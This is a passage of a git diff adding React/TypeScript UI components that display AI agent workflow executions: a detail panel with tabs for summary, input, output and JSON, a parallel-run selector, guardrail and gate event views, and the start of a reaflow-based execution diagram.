( + } + /> + )} + + {/* HTTP tools */} + {httpTools.length > 0 && ( + } + /> + )} + + {/* MCP tools */} + {mcpTools.length > 0 && ( + } + /> + )} + + {/* RAG tools */} + {ragTools.length > 0 && ( + } + /> + )} + + {/* Legacy guardrails (from tools list with toolType="guardrail" or agentDef.guardrails) */} + {legacyGrNames.length > 0 && !hasGuardrailPipeline && ( + + } + /> + )} + + {/* Instructions */} + {instructions && ( + + {instructions} + + } + /> + )} + {/* Dynamic instructions (worker ref) */} + {!instructions && dynamicInstr && ( + + + {getItemName(dynamicInstr)} + + + {typeof dynamicInstr.description === "string" + ? dynamicInstr.description + : "dynamic"} + + + } + /> + )} + + ); +} + +// ─── Parallel run selector ──────────────────────────────────────────────────── + +type WindowItem = + | { type: "chip"; idx: number } + | { type: "gap"; from: number; to: number }; + +function buildWindow(total: number, sel: number): WindowItem[] { + if (total <= 10) + return Array.from({ length: total }, (_, i) => ({ + type: "chip" as const, + idx: i, + })); + const visible = new Set( + [ + 0, + 1, + total - 2, + total - 1, + Math.max(0, sel - 2), + Math.max(0, sel - 1), + sel, + Math.min(total - 1, sel + 1), + Math.min(total - 1, sel + 2), + ].filter((i) => i >= 0 && i < total), + ); + const sorted = Array.from(visible).sort((a, b) => a - b); + const result: WindowItem[] = []; + for (let i = 0; i < sorted.length; i++) { + if (i > 0 && sorted[i] > sorted[i - 1] + 1) + result.push({ type: "gap", from: sorted[i - 1] + 1, to: sorted[i] - 1 }); + result.push({ type: "chip", idx: sorted[i] }); + } + return result; +} + +interface RunBarProps { + count: number; + statuses: AgentStatus[]; + selected: number; + onSelect: (i: number) => void; + labels: string[]; +} + +function RunBar({ count, statuses, selected, onSelect, labels }: RunBarProps) { + const items = buildWindow(count, selected); + return ( + + {items.map((item) => { + if (item.type === "chip") { + const { idx } = item; + const st = statuses[idx]; + const color = + st === AgentStatus.FAILED + ? "#DD2222" + : st === AgentStatus.RUNNING + ? "#f59e0b" + : "#40BA56"; + const active = idx === selected; + return ( + onSelect(idx)} + sx={{ + appearance: "none", + fontFamily: "inherit", + cursor: "pointer", + minWidth: 32, + height: 24, + px: 0.5, + display: "flex", + alignItems: "center", + justifyContent: "center", + backgroundColor: "#fff", + color: active ? color : "#858585", + border: `1px solid ${active ? color : "#DDDDDD"}`, + borderRadius: "3px", + fontSize: "0.65rem", + fontWeight: active ? 700 : 500, + transition: "all 0.1s", + outline: "none", + "&:hover": { + borderColor: color, + color: color, + backgroundColor: `${color}0d`, + }, + }} + > + {idx + 1} + + ); + } + // Gap → dropdown listing all runs in the gap + const { from, to } = item; + const gapItems = Array.from( + { length: to - from + 1 }, + (_, k) => from + k, + ); + return ( + + ); + })} + + ); +} + +// ─── Group detail panel (parallel agents / tool calls) ──────────────────────── + +function GroupDetailPanel({ + node, + onDrillIn, +}: { + node: DetailNodeData; + onDrillIn?: (run: AgentRunData) => void; +}) { + const [selectedIdx, setSelectedIdx] = useState(0); + const isAgents = node.groupType === "agents"; + const agents = node.groupAgents ?? []; + const events = node.groupEvents ?? []; + const count = isAgents ? agents.length : events.length; + + const statuses: AgentStatus[] = isAgents + ? agents.map((a) => a.status) + : events.map((e) => + e.success === true + ? AgentStatus.COMPLETED + : e.success === false + ? AgentStatus.FAILED + : AgentStatus.RUNNING, + ); + + const labels: string[] = isAgents + ? agents.map((a, i) => `${a.agentName} #${i + 1}`) + : events.map((e, i) => `${e.toolName ?? "tool"} #${i + 1}`); + + const completed = statuses.filter((s) => s === AgentStatus.COMPLETED).length; + const failed = statuses.filter((s) => s === AgentStatus.FAILED).length; + const running = count - completed - failed; + + const selAgent = isAgents ? agents[selectedIdx] : undefined; + const selEvent = !isAgents ? events[selectedIdx] : undefined; + + return ( + + {/* Stat bar */} + + + {count} {isAgents ? "agents" : "calls"} + + {completed > 0 && ( + + {completed} ✓ + + )} + {failed > 0 && ( + + {failed} ✗ + + )} + {running > 0 && ( + + {running} ⟳ + + )} + + + {/* Run selector */} + + + + + {/* Selected run detail */} + + {selAgent && ( + + + + {selAgent.model && ( + } + /> + )} + } + /> + {selAgent.totalDurationMs > 0 && ( + + )} + {selAgent.totalTokens.promptTokens + + selAgent.totalTokens.completionTokens > + 0 && ( + <> + + + + + )} + {selAgent.turns.length > 0 && ( + + )} + {selAgent.finishReason && ( + + )} + {selAgent.failureReason && ( + + {selAgent.failureReason} + + } + /> + )} + + {/* Input */} + {selAgent.input && ( + + + + Input + + + + + + + )} + {/* Output */} + {selAgent.output && ( + + + + Output + + + + + + + )} + {onDrillIn && selAgent.subWorkflowId && ( + + onDrillIn(selAgent)} + sx={{ + display: "inline-flex", + alignItems: "center", + gap: 0.75, + px: 1.5, + py: 0.75, + borderRadius: 1, + cursor: "pointer", + fontSize: "0.8rem", + fontWeight: 500, + color: "#fff", + backgroundColor: "#4969e4", + "&:hover": { backgroundColor: "#3858d6" }, + }} + > + View full execution + + + )} + + )} + {selEvent && ( + + + + } + /> + {selEvent.durationMs ? ( + + ) : null} + {selEvent.tokens && + selEvent.tokens.promptTokens + + selEvent.tokens.completionTokens > + 0 && ( + + )} + {selEvent.taskMeta?.workerId && ( + + )} + {selEvent.taskMeta?.reasonForIncompletion && ( + + {selEvent.taskMeta.reasonForIncompletion} + + } + /> + )} + + {selEvent.toolArgs != null && ( + + + + Input + + + + + + + )} + {selEvent.result != null && ( + + + + Output + + + + + + + )} + + )} + + + ); +} + +// ─── Lazy-fetch sub-agent definition (model + agentDef) ────────────────────── + +interface SubAgentFetchResult { + model?: string; + agentDef?: Record; +} + +function useSubAgentDef(run: AgentRunData | undefined): { + data: SubAgentFetchResult | null; + loading: boolean; +} { + const [data, setData] = useState(null); + const [loading, setLoading] = useState(false); + + useEffect(() => { + // Already have definition data or no sub-workflow to fetch + if (!run?.subWorkflowId || run.agentDef || run.model) { + setData(null); + setLoading(false); + return; + } + let cancelled = false; + setLoading(true); + fetch(`/api/agent/executions/${run.subWorkflowId}/full`) + .then((r) => (r.ok ? r.json() : null)) + .then((exec: any) => { + if (!exec || cancelled) return; + const agentDef = exec.workflowDefinition?.metadata?.agentDef as + | Record + | undefined; + const model = (exec.tasks as any[] | undefined)?.find( + (t: any) => t.taskType === "LLM_CHAT_COMPLETE", + )?.inputData?.model as string | undefined; + if (!cancelled) setData({ model, agentDef }); + }) + .catch(() => { + if (!cancelled) setData(null); + }) + .finally(() => { + if (!cancelled) setLoading(false); + }); + return () => { + cancelled = true; + }; + }, [run?.subWorkflowId, run?.agentDef, run?.model]); + + return { data, loading }; +} + +// ─── Summary tab content per node kind ────────────────────────────────────── + +function SummaryContent({ + node, + onDrillIn, +}: { + node: DetailNodeData; + onDrillIn?: (run: AgentRunData) => void; +}) { + const ev = node.event; + + // Lazy-load sub-agent definition for subagent/start nodes that don't have it yet + const agentRun = + node.kind === "subagent" || node.kind === "start" + ? node.subAgentRun + : undefined; + const { data: fetchedDef, loading: defLoading } = useSubAgentDef(agentRun); + + if (node.kind === "start" && node.subAgentRun) { + const run = node.subAgentRun; + const effectiveModel = run.model ?? fetchedDef?.model; + const effectiveAgentDef = run.agentDef ?? fetchedDef?.agentDef; + const pt = run.totalTokens.promptTokens; + const ct = run.totalTokens.completionTokens; + return ( + + + + {effectiveModel && ( + } + /> + )} + } + /> + {run.totalDurationMs > 0 && ( + + )} + {pt + ct > 0 && ( + + )} + {pt > 0 && ( + + )} + {ct > 0 && ( + + )} + {run.finishReason && ( + + )} + + {onDrillIn && run.subWorkflowId && ( + + onDrillIn(run)} + sx={{ + display: "inline-flex", + alignItems: "center", + gap: 0.75, + px: 1.5, + py: 0.75, + borderRadius: 1, + cursor: "pointer", + fontSize: "0.8rem", + fontWeight: 500, + color: "#fff", + backgroundColor: "#4969e4", + transition: "all 0.15s", + "&:hover": { backgroundColor: "#3858d6" }, + }} + > + View full execution + + + )} + {defLoading && !effectiveAgentDef && ( + + Loading agent definition… + + )} + {effectiveAgentDef && } + + ); + } + + if (node.kind === "llm") { + const tok = ev?.tokens; + return ( + + {ev?.condensationInfo && ( + + )} + + + } + /> + {ev?.toolName && ( + } + /> + )} + {ev?.baseUrl && } + {tok && tok.promptTokens + tok.completionTokens > 0 && ( + + )} + {tok && tok.promptTokens > 0 && ( + + )} + {tok && tok.completionTokens > 0 && ( + + )} + {ev?.durationMs && ( + + )} + + + ); + } + + if (node.kind === "tool") { + const meta = ev?.taskMeta; + const fmt = (ts?: number) => + ts + ? new Date(ts) + .toLocaleString(undefined, { + year: "numeric", + month: "2-digit", + day: "2-digit", + hour: "2-digit", + minute: "2-digit", + second: "2-digit", + }) + .replace(",", "") + : undefined; + return ( + + + {meta?.taskType && ( + + )} + } + /> + + {meta?.referenceTaskName && ( + + )} + {meta?.taskId && ( + + )} + {meta?.retryCount != null && ( + + )} + {meta?.totalAttempts != null && meta.totalAttempts > 1 && ( + + )} + {fmt(meta?.scheduledTime) && ( + + )} + {fmt(meta?.startTime) && ( + + )} + {fmt(meta?.endTime) && ( + + )} + {ev?.durationMs ? ( + + ) : null} + {meta?.workerId && ( + + )} + {meta?.pollCount != null && ( + + )} + {meta?.seq != null && ( + + )} + {meta?.queueWaitTime != null && ( + + )} + {meta?.reasonForIncompletion && ( + + {meta.reasonForIncompletion} + + } + /> + )} + + + ); + } + + if (node.kind === "handoff") { + return ( + + + + } + /> + + + ); + } + + // Guardrail event (GUARDRAIL_PASS/FAIL — not a gate) + if ( + (node.kind === "output" || node.kind === "error") && + (ev?.type === EventType.GUARDRAIL_PASS || + ev?.type === EventType.GUARDRAIL_FAIL) && + ev?.toolName !== "gate" + ) { + const passed = ev.type === EventType.GUARDRAIL_PASS; + const grDetail = ev.detail as Record | undefined; + const grOutput = grDetail?.output as Record | undefined; + const reason = (grOutput?.message ?? + (grOutput?.output_info as any)?.reason ?? + ev.summary) as string; + const meta = ev.taskMeta; + const fmt = (ts?: number) => + ts + ? new Date(ts) + .toLocaleString(undefined, { + year: "numeric", + month: "2-digit", + day: "2-digit", + hour: "2-digit", + minute: "2-digit", + second: "2-digit", + }) + .replace(",", "") + : undefined; + return ( + + + + {passed ? "Guardrail passed" : "Guardrail triggered"} + + {reason && ( + + {reason} + + )} + + + + } + /> + {grOutput?.passed != null && ( + + )} + {grOutput?.guardrail_name != null && ( + + )} + {grOutput?.on_fail != null && ( + + )} + {grOutput?.fixed_output != null && ( + + )} + {ev.durationMs ? ( + + ) : null} + {meta?.taskType && ( + + )} + {meta?.referenceTaskName && ( + + )} + {meta?.taskId && ( + + )} + {fmt(meta?.startTime) && ( + + )} + {fmt(meta?.endTime) && ( + + )} + {meta?.workerId && ( + + )} + + + ); + } + + // Gate event (GUARDRAIL_PASS/FAIL with toolName === "gate") + if ( + (node.kind === "output" || node.kind === "error") && + ev?.toolName === "gate" + ) { + const gateDetail = ev.detail as Record | undefined; + const gateCfg = gateDetail?.gate as Record | undefined; + const decision = gateDetail?.decision as string | undefined; + const stopped = decision === "stop"; + return ( + + + + {stopped + ? "Gate triggered — chain stopped" + : "Gate passed — chain continues"} + + + + + {decision ?? "continue"} + + } + /> + {gateCfg?.type != null && ( + + )} + {gateCfg?.text != null && ( + + {String(gateCfg.text)} + + } + /> + )} + {gateCfg?.caseSensitive != null && ( + + )} + {ev.durationMs && ( + + )} + + + ); + } + + if (node.kind === "subagent" && node.subAgentRun) { + const run = node.subAgentRun; + const effectiveModel = run.model ?? fetchedDef?.model; + const effectiveAgentDef = run.agentDef ?? fetchedDef?.agentDef; + const pt = run.totalTokens.promptTokens; + const ct = run.totalTokens.completionTokens; + return ( + + + + {effectiveModel && ( + } + /> + )} + } + /> + {run.totalDurationMs > 0 && ( + + )} + {pt + ct > 0 && ( + + )} + {pt > 0 && ( + + )} + {ct > 0 && ( + + )} + {run.failureReason && ( + {run.failureReason} + } + /> + )} + + {onDrillIn && run.subWorkflowId && ( + + onDrillIn(run)} + sx={{ + display: "inline-flex", + alignItems: "center", + gap: 0.75, + px: 1.5, + py: 0.75, + borderRadius: 1, + cursor: "pointer", + fontSize: "0.8rem", + fontWeight: 500, + color: "#fff", + backgroundColor: "#4969e4", + transition: "all 0.15s", + "&:hover": { backgroundColor: "#3858d6" }, + }} + > + View full execution + + + )} + {defLoading && !effectiveAgentDef && ( + + Loading agent definition… + + )} + {effectiveAgentDef && } + + ); + } + + // output / error / fallback + return ( + + + + } + /> + {ev?.summary && } + + + ); +} + +// ─── Resolve input value for a node ───────────────────────────────────────── + +function resolveInput(node: DetailNodeData): unknown { + if (node.kind === "start" && node.subAgentRun) return node.subAgentRun.input; + if (node.kind === "subagent" && node.subAgentRun) + return node.subAgentRun.input; + const detail = node.event?.detail as any; + if (detail && typeof detail === "object" && "input" in detail) + return detail.input; + // Fallback: toolArgs is always the raw input for TOOL_CALL events + if (node.event?.toolArgs != null) return node.event.toolArgs; + return null; +} + +function resolveOutput(node: DetailNodeData): unknown { + if (node.kind === "start" && node.subAgentRun) return node.subAgentRun.output; + if (node.kind === "subagent" && node.subAgentRun) + return node.subAgentRun.output; + const detail = node.event?.detail as any; + if (detail && typeof detail === "object" && "output" in detail) + return detail.output; + // DONE and MESSAGE both carry the text content directly as detail + if ( + node.event?.type === EventType.DONE || + node.event?.type === EventType.MESSAGE + ) + return detail; + // Fallback: result field carries tool output + if (node.event?.result != null) return node.event.result; + return null; +} + +function resolveJsonData(node: DetailNodeData): unknown { + if (node.kind === "start" && node.subAgentRun) { + const r = node.subAgentRun; + return { + agentName: r.agentName, + model: r.model, + status: r.status, + tokens: r.totalTokens, + durationMs: r.totalDurationMs, + finishReason: r.finishReason, + input: r.input, + output: r.output, + }; + } + if (node.kind === "subagent" && node.subAgentRun) { + const r = node.subAgentRun; + return { + agentName: r.agentName, + model: r.model, + status: r.status, + tokens: r.totalTokens, + durationMs: r.totalDurationMs, + finishReason: r.finishReason, + input: r.input, + output: r.output, + }; + } + // Return the full raw event object — no key extraction (Output tab does that) + return node.event ?? null; +} + +// ─── Main panel ─────────────────────────────────────────────────────────────── + +/** Build a DetailNodeData with taskMeta overridden from a past attempt */ +function buildAttemptNode( + node: DetailNodeData, + attempt: TaskAttempt, +): DetailNodeData { + const statusMap: Record = { + COMPLETED: AgentStatus.COMPLETED, + FAILED: AgentStatus.FAILED, + TIMED_OUT: AgentStatus.FAILED, + IN_PROGRESS: AgentStatus.RUNNING, + }; + return { + ...node, + status: statusMap[attempt.status] ?? AgentStatus.RUNNING, + event: node.event + ? { + ...node.event, + durationMs: attempt.durationMs, + success: attempt.status === "COMPLETED", + taskMeta: { + ...node.event.taskMeta, + taskId: attempt.taskId, + retryCount: attempt.retryCount, + startTime: attempt.startTime, + endTime: attempt.endTime, + workerId: attempt.workerId, + reasonForIncompletion: attempt.reasonForIncompletion, + }, + } + : undefined, + }; +} + +interface AgentDetailPanelProps { + node: DetailNodeData; + onClose: () => void; + onDrillIn?: (run: AgentRunData) => void; +} + +const KIND_DISPLAY: Record = { + start: "Agent", + subagent: "Sub-agent", + llm: "LLM Call", + tool: "Tool Call", + handoff: "Handoff", + output: "Output", + error: "Error", + group: "Parallel Group", +}; + +export function AgentDetailPanel({ + node, + onClose, + onDrillIn, +}: AgentDetailPanelProps) { + const [tab, setTab] = useState(SUMMARY_TAB); + const allAttempts = node.event?.taskMeta?.allAttempts; + const hasMultipleAttempts = allAttempts != null && allAttempts.length > 1; + // Default to the latest attempt (last in the array, which is sorted ascending by retryCount) + const [selectedAttemptIdx, setSelectedAttemptIdx] = useState( + hasMultipleAttempts ? allAttempts.length - 1 : 0, + ); + // Must be declared before any early returns to satisfy the Rules of Hooks + const prevNodeId = useRef(node.label + node.kind); + + // Reset tab to summary and attempt selection when the non-group node changes + if (node.kind !== "group" && prevNodeId.current !== node.label + node.kind) { + prevNodeId.current = node.label + node.kind; + setTab(SUMMARY_TAB); + setSelectedAttemptIdx(hasMultipleAttempts ? allAttempts.length - 1 : 0); + } + + // Group nodes get their own dedicated layout (no tabs) + if (node.kind === "group") { + return ( + + + + + + + + + + {node.label} + + + + + {node.groupType === "agents" + ? "Parallel Agents" + : "Parallel Tool Calls"} + + + + + + + + + ); + } + + // When viewing a past attempt, override input/output with that attempt's data + const selectedAttempt: TaskAttempt | null = + hasMultipleAttempts && selectedAttemptIdx < allAttempts.length - 1 + ? allAttempts[selectedAttemptIdx] + : null; + + const inputValue = selectedAttempt + ? (selectedAttempt.inputData ?? null) + : resolveInput(node); + const outputValue = selectedAttempt + ? selectedAttempt.status === "FAILED" + ? (selectedAttempt.reasonForIncompletion ?? null) + : (selectedAttempt.outputData ?? null) + : resolveOutput(node); + const jsonData = selectedAttempt + ? { ...selectedAttempt } + : resolveJsonData(node); + + const isAgentNode = node.kind === "start" || node.kind === "subagent"; + const hasInput = inputValue != null; + const hasOutput = outputValue != null || isAgentNode; + + return ( + + {/* ── Header ─────────────────────────────────────────────────────── */} + + + + + + + {/* Name + status badge inline */} + + + {node.label} + + + + {/* Kind label below */} + + {KIND_DISPLAY[node.kind]} + + + + + + {/* ── Attempt selector (shown when task has multiple retry attempts) ── */} + {hasMultipleAttempts && ( + + + Attempt + + + + )} + + {/* ── Tabs ──────────────────────────────────────────────────────── */} + + + {[ + setTab(SUMMARY_TAB)} + />, + hasInput ? ( + setTab(INPUT_TAB)} + /> + ) : null, + hasOutput ? ( + setTab(OUTPUT_TAB)} + /> + ) : null, + setTab(JSON_TAB)} + />, + ].filter(Boolean)} + + + + {/* ── Content ───────────────────────────────────────────────────── */} + + {tab === SUMMARY_TAB && ( + + )} + {tab === INPUT_TAB && ( + <> + + + Task input + + + + {inputValue == null ? ( + + No input + + ) : typeof inputValue === "string" ? ( + + {inputValue} + + ) : ( + + )} + + + )} + {tab === OUTPUT_TAB && ( + <> + + + Task output + + + + {outputValue == null ? ( + + No output + + ) : typeof outputValue === "string" ? ( + + {outputValue} + + ) : ( + + )} + + + )} + {tab === JSON_TAB && ( + <> + + + Task Execution JSON + + + + + + + )} + + + ); +} + +export default AgentDetailPanel; diff --git a/ui-next/src/pages/execution/AgentExecution/AgentExecutionDiagram.tsx b/ui-next/src/pages/execution/AgentExecution/AgentExecutionDiagram.tsx new file mode 100644 index 0000000..f387a2e --- /dev/null +++ b/ui-next/src/pages/execution/AgentExecution/AgentExecutionDiagram.tsx @@ -0,0 +1,1872 @@ +/** + * AgentExecutionDiagram — same visual language as Conductor Debug View. + * + * Pan/zoom architecture matches PanAndZoomWrapper exactly: + * - Canvas: pannable={false}, zoomable={false} (no built-in scroll) + * - Outer viewport div: overflow:hidden, captures gestures via @use-gesture + * - Inner transform div: CSS translate+scale for unrestricted panning + * - Layout sizing: track ELK result dimensions in state, give Canvas container + * explicit pixel size so reaflow's useDimensions can measure correctly. + */ +import { useRef, useCallback, useEffect, useMemo, useState } from "react"; +import { Box, CircularProgress } from "@mui/material"; +import { useDrag, usePinch, useWheel } from "@use-gesture/react"; +import { ZoomControlsButton } from "components/ZoomControlsButton"; +import HomeIcon from "components/features/flow/components/graphs/PanAndZoomWrapper/icons/Home"; +import MinusIcon from "components/features/flow/components/graphs/PanAndZoomWrapper/icons/Minus"; +import PlusIcon from "components/features/flow/components/graphs/PanAndZoomWrapper/icons/Plus"; +import FitToFrame from "shared/icons/FitToFrame"; +import { colors } from "theme/tokens/variables"; +import { + Canvas, + CanvasPosition, + Edge, + Node, + NodeData, + EdgeData, + PortData, + PortSide, +} from "reaflow"; +import { getCardVariant } from "components/features/flow/components/shapes/styles"; +import { ArrowRight, Check, Prohibit } from "@phosphor-icons/react"; +import CardIcon from "components/features/flow/components/shapes/TaskCard/CardIcon"; +import { TaskStatus, TaskType } from "types"; +import { + AgentEvent, + AgentRunData, + AgentStatus, + AgentStrategy, + AgentTurn, + EventType, +} from "./types"; +import { DetailNodeData } from "./AgentDetailPanel"; +import { + formatTokens, + formatDuration, + getModelIconPath, +} from "./agentExecutionUtils"; +import "components/features/flow/ReaflowOverrides.scss"; + +// ─── Constants ──────────────────────────────────────────────────────────────── +const EDGE_DEFAULT = "#757575"; +const EDGE_COMPLETED = "#40BA56"; +const MIN_ZOOM = 0.1; +const MAX_ZOOM = 2.5; + +// ─── Types ──────────────────────────────────────────────────────────────────── +type Kind = + | "start" + | "llm" + | "tool" + | "handoff" + | "subagent" + | "output" + | "error" + | "next" + | "back" + | "group" + | "junction" + | "ellipsis"; + +const KIND_TYPE: Record = { + start: TaskType.SUB_WORKFLOW, + subagent: TaskType.SUB_WORKFLOW, + handoff: TaskType.SET_VARIABLE, + llm: TaskType.LLM_CHAT_COMPLETE, + tool: TaskType.SIMPLE, + output: TaskType.SIMPLE, + error: TaskType.TERMINATE, + next: TaskType.SIMPLE, + back: TaskType.SIMPLE, + group: TaskType.SIMPLE, + junction: TaskType.SIMPLE, + ellipsis: TaskType.SIMPLE, +}; + +const KIND_LABEL: Record = { + start: "AGENT", + subagent: "AGENT", + handoff: "HANDOFF", + llm: "LLM CALL", + tool: "TOOL", + output: "OUTPUT", + error: "ERROR", + next: "", + back: "", + group: "", + junction: "", + ellipsis: "", +}; + +function toTS(s?: AgentStatus): TaskStatus { + if (s === AgentStatus.FAILED) return TaskStatus.FAILED; + if (s === AgentStatus.RUNNING) return TaskStatus.IN_PROGRESS; + if (s === AgentStatus.WAITING) return TaskStatus.SCHEDULED; + return TaskStatus.COMPLETED; +} + +const STRATEGY_BADGE: Record = { + [AgentStrategy.HANDOFF]: "HANDOFF", + [AgentStrategy.PARALLEL]: "PARALLEL", + [AgentStrategy.SEQUENTIAL]: "SEQUENTIAL", + [AgentStrategy.ROUTER]: "ROUTER", + [AgentStrategy.SINGLE]: "AGENT", +}; + +interface DiagramNodeData { + kind: Kind; + label: string; + sublabel?: string; + meta?: string; + /** Overrides KIND_LABEL for the TypeBadge (e.g. "GUARDRAIL" on an output/error node) */ + typeLabel?: string; + /** Strategy used to spawn this node's sub-agent(s) */ + strategy?: AgentStrategy; + /** Model name for provider icon (LLM and agent nodes) */ + modelName?: string; + ts: TaskStatus; + event?: AgentEvent; + subAgentRun?: AgentRunData; + nextTurn?: number; + /** For group nodes */ + groupType?: "agents" | "tools"; + groupAgents?: AgentRunData[]; + groupEvents?: AgentEvent[]; + groupCompleted?: number; + groupFailed?: number; + groupRunning?: number; +} + +// ─── CardLabel-matching type badge (same CSS as CardLabel.jsx) ───────────────── +function TypeBadge({ label }: { label: string }) { + if (!label) return null; + return ( +
      + {label} +
      + ); +} + +// ─── Small status badge (20×20 instead of CardStatusBadge's 30×30) ────────── +function NodeStatusBadge({ status }: { status: TaskStatus }) { + const size = 20; + const half = size / 2; + if (status === TaskStatus.IN_PROGRESS) { + return ( +
      + +
      +
      + ); + } + if (status !== TaskStatus.COMPLETED && status !== TaskStatus.FAILED) + return null; + const bg = status === TaskStatus.COMPLETED ? "#40BA56" : "#DD2222"; + return ( +
      + {status === TaskStatus.COMPLETED ? ( + + ) : ( + + )} +
      + ); +} + +// ─── Node card — all nodes use white TaskCard styling ───────────────────────── +function NodeCard({ + data, + width, + height, + selected, + onSelect, + onDrillIn, + onBack, + onToggleGroup, +}: { + data: DiagramNodeData; + width: number; + height: number; + selected: boolean; + onSelect: () => void; + onDrillIn?: (r: AgentRunData) => void; + onBack?: () => void; + onToggleGroup?: () => void; +}) { + // ── Fork/join junction node — thin bar spanning full node width ─────────────── + if (data.kind === "junction") { + return ( +
      +
      +
      + ); + } + + // ── Ellipsis node ("... N more") ──────────────────────────────────────────── + if (data.kind === "ellipsis") { + return ( +
      { + e.stopPropagation(); + onSelect(); + }} + style={{ + width, + height, + display: "flex", + alignItems: "center", + justifyContent: "center", + }} + > +
      + {data.label} +
      +
      + ); + } + + // ── "Back to parent" node ───────────────────────────────────────────────────── + if (data.kind === "back") { + return ( +
      { + e.stopPropagation(); + onBack?.(); + }} + style={{ + width, + height, + display: "flex", + alignItems: "center", + justifyContent: "center", + }} + > +
      + + ↑ + + + Back + +
      +
      + ); + } + + // ── "Next turn" node ───────────────────────────────────────────────────────── + if (data.kind === "next") { + return ( +
      { + e.stopPropagation(); + onSelect(); + }} + style={{ + width, + height, + display: "flex", + alignItems: "center", + justifyContent: "center", + }} + > +
      + + Turn + + + {data.nextTurn} + +
      +
      + ); + } + + // ── Stacked group node (parallel agents / tool calls) ──────────────────────── + if (data.kind === "group") { + const isAgent = data.groupType === "agents"; + const type = isAgent ? TaskType.SUB_WORKFLOW : TaskType.SIMPLE; + const variant = getCardVariant(type, data.ts, selected) as any; + const borderColor: string = + (variant.border as string | undefined)?.match(/solid\s+(.+)$/)?.[1] ?? + "#DDDDDD"; + const total = + (data.groupAgents?.length ?? 0) || (data.groupEvents?.length ?? 0); + const failed = data.groupFailed ?? 0; + const running = data.groupRunning ?? 0; + const completed = data.groupCompleted ?? 0; + + return ( +
      { + e.stopPropagation(); + onSelect(); + }} + style={{ width, height, position: "relative", cursor: "pointer" }} + > + {/* Back cards — extend slightly beyond boundary for stacking illusion */} +
      +
      + {/* Front card */} +
      +
      + +
      + +
      +
      + {data.label} +
      +
      + {total} {isAgent ? "agents" : "calls"} + {completed > 0 && ` · ${completed} ✓`} + {failed > 0 && ` · ${failed} ✗`} + {running > 0 && ` · ${running} ⟳`} +
      +
      + +
      + {/* Expand button for collapsed groups (tools or agents) */} + {total >= COLLAPSE_THRESHOLD && onToggleGroup && ( +
      { + e.stopPropagation(); + onToggleGroup?.(); + }} + style={{ + marginTop: 6, + display: "inline-flex", + alignItems: "center", + gap: 4, + padding: "3px 10px", + borderRadius: "5px", + backgroundColor: "#4969e4", + cursor: "pointer", + fontSize: "0.72em", + color: "white", + }} + > + Expand ({Math.min(total, MAX_EXPANDED)} of {total}) +
      + )} +
      +
      +
      + ); + } + + // ── Handoff pill ───────────────────────────────────────────────────────────── + if (data.kind === "handoff") { + const isSelected = selected; + return ( +
      { + e.stopPropagation(); + onSelect(); + }} + style={{ + width: "100%", + height: "100%", + display: "flex", + alignItems: "center", + borderRadius: 8, + cursor: "pointer", + backgroundColor: isSelected ? "#ede9fe" : "#f5f3ff", + border: `1.5px solid ${isSelected ? "#7c3aed" : "#c4b5fd"}`, + boxSizing: "border-box", + padding: "0 16px", + gap: 10, + transition: "background-color 0.15s, border-color 0.15s", + position: "relative", + overflow: "hidden", + }} + > + {/* Arrow accent stripe on the left */} +
      + + → + +
      + + {data.label || "handoff"} + + + handoff + +
      +
      + ); + } + + const type = KIND_TYPE[data.kind]; + + // Extract border color from getCardVariant, then reapply at half thickness + const variant = getCardVariant(type, data.ts, selected) as any; + const borderColor: string = + (variant.border as string | undefined)?.match(/solid\s+(.+)$/)?.[1] ?? + "transparent"; + + // ── All other nodes: unified white TaskCard style ───────────────────────────── + return ( +
      { + e.stopPropagation(); + onSelect(); + }} + style={{ + width: "100%", + height: "100%", + borderRadius: "10px", + cursor: "pointer", + transition: "box-shadow 250ms", + transitionDelay: "40ms", + ...variant, + background: "#fff", + border: `1.5px solid ${borderColor}`, + }} + > +
      + {/* Agent container nodes don't show spinner — the LLM child node represents active work */} + {!(data.kind === "start" && data.ts === TaskStatus.IN_PROGRESS) && ( + + )} + +
      + {(() => { + const iconPath = getModelIconPath(data.modelName); + return iconPath ? ( + + ) : ( + + ); + })()} +
      +
      + {data.label} +
      + {(data.sublabel || data.meta) && ( +
      + {data.sublabel ?? data.meta} +
      + )} +
      + +
      + + {/* "View execution" drill-in for sub-agents */} + {data.kind === "subagent" && data.subAgentRun && ( +
      { + e.stopPropagation(); + onDrillIn?.(data.subAgentRun!); + }} + style={{ + marginTop: 6, + display: "inline-flex", + alignItems: "center", + gap: 4, + padding: "3px 10px", + borderRadius: "5px", + backgroundColor: "#4969e4", + cursor: "pointer", + fontSize: "0.78em", + color: "white", + }} + > + View execution +
      + )} + + {/* Retry attempt badge — shown when task was retried (totalAttempts > 1) */} + {(() => { + const attempts = data.event?.taskMeta?.totalAttempts; + if (!attempts || attempts <= 1) return null; + return ( +
      + ⟳ {attempts} attempts +
      + ); + })()} +
      +
      + ); +} + +// ─── Reaflow node wrapper ───────────────────────────────────────────────────── +const DiagramNode = (nodeProps: any) => { + const { selectedId, onSelect, onDrillIn, onBack, onToggleGroup, properties } = + nodeProps; + const data: DiagramNodeData = properties?.data; + return ( + null} + label={<>} + style={{ stroke: "none", fill: "none" }} + > + {(ev: any) => ( + + + onSelect(properties?.id)} + onDrillIn={onDrillIn} + onBack={onBack} + onToggleGroup={ + onToggleGroup ? () => onToggleGroup(properties?.id) : undefined + } + /> + + + )} + + ); +}; + +// ─── Build diagram nodes/edges ──────────────────────────────────────────────── +const W = 264, + H = 80, + H_HANDOFF = 48; +// Parallel tool-call batches with fewer than this many calls are shown individually (not collapsed) +const COLLAPSE_THRESHOLD = 10; +// Maximum individual nodes to render when a collapsed group is expanded. +// When the total exceeds this, the first EXPAND_HEAD and last EXPAND_TAIL items +// are shown with an ellipsis node in between. +const MAX_EXPANDED = 20; +const EXPAND_HEAD = 10; +const EXPAND_TAIL = 10; + +function buildTurnNodes( + turn: AgentTurn, + nodes: NodeData[], + edges: EdgeData[], + done: Set, + prevRef: { id: string }, + expandedGroups: Set, +) { + const push = (id: string, data: DiagramNodeData, h = H) => { + nodes.push({ id, width: W, height: h, data }); + // Use join junction's south port for clean outgoing routing + const fromPort = prevRef.id.endsWith("-join") + ? `${prevRef.id}-south-port` + : undefined; + edges.push({ + id: `${prevRef.id}→${id}`, + from: prevRef.id, + to: id, + ...(fromPort ? { fromPort } : {}), + }); + if (data.ts === TaskStatus.COMPLETED) done.add(id); + prevRef.id = id; + }; + + /** + * Fan-out: create a fork node → N parallel branch nodes → join node. + * Each branch node is displayed side-by-side horizontally. + */ + const pushParallel = ( + forkId: string, + branches: { id: string; data: DiagramNodeData; h?: number }[], + joinId: string, + ) => { + if (branches.length === 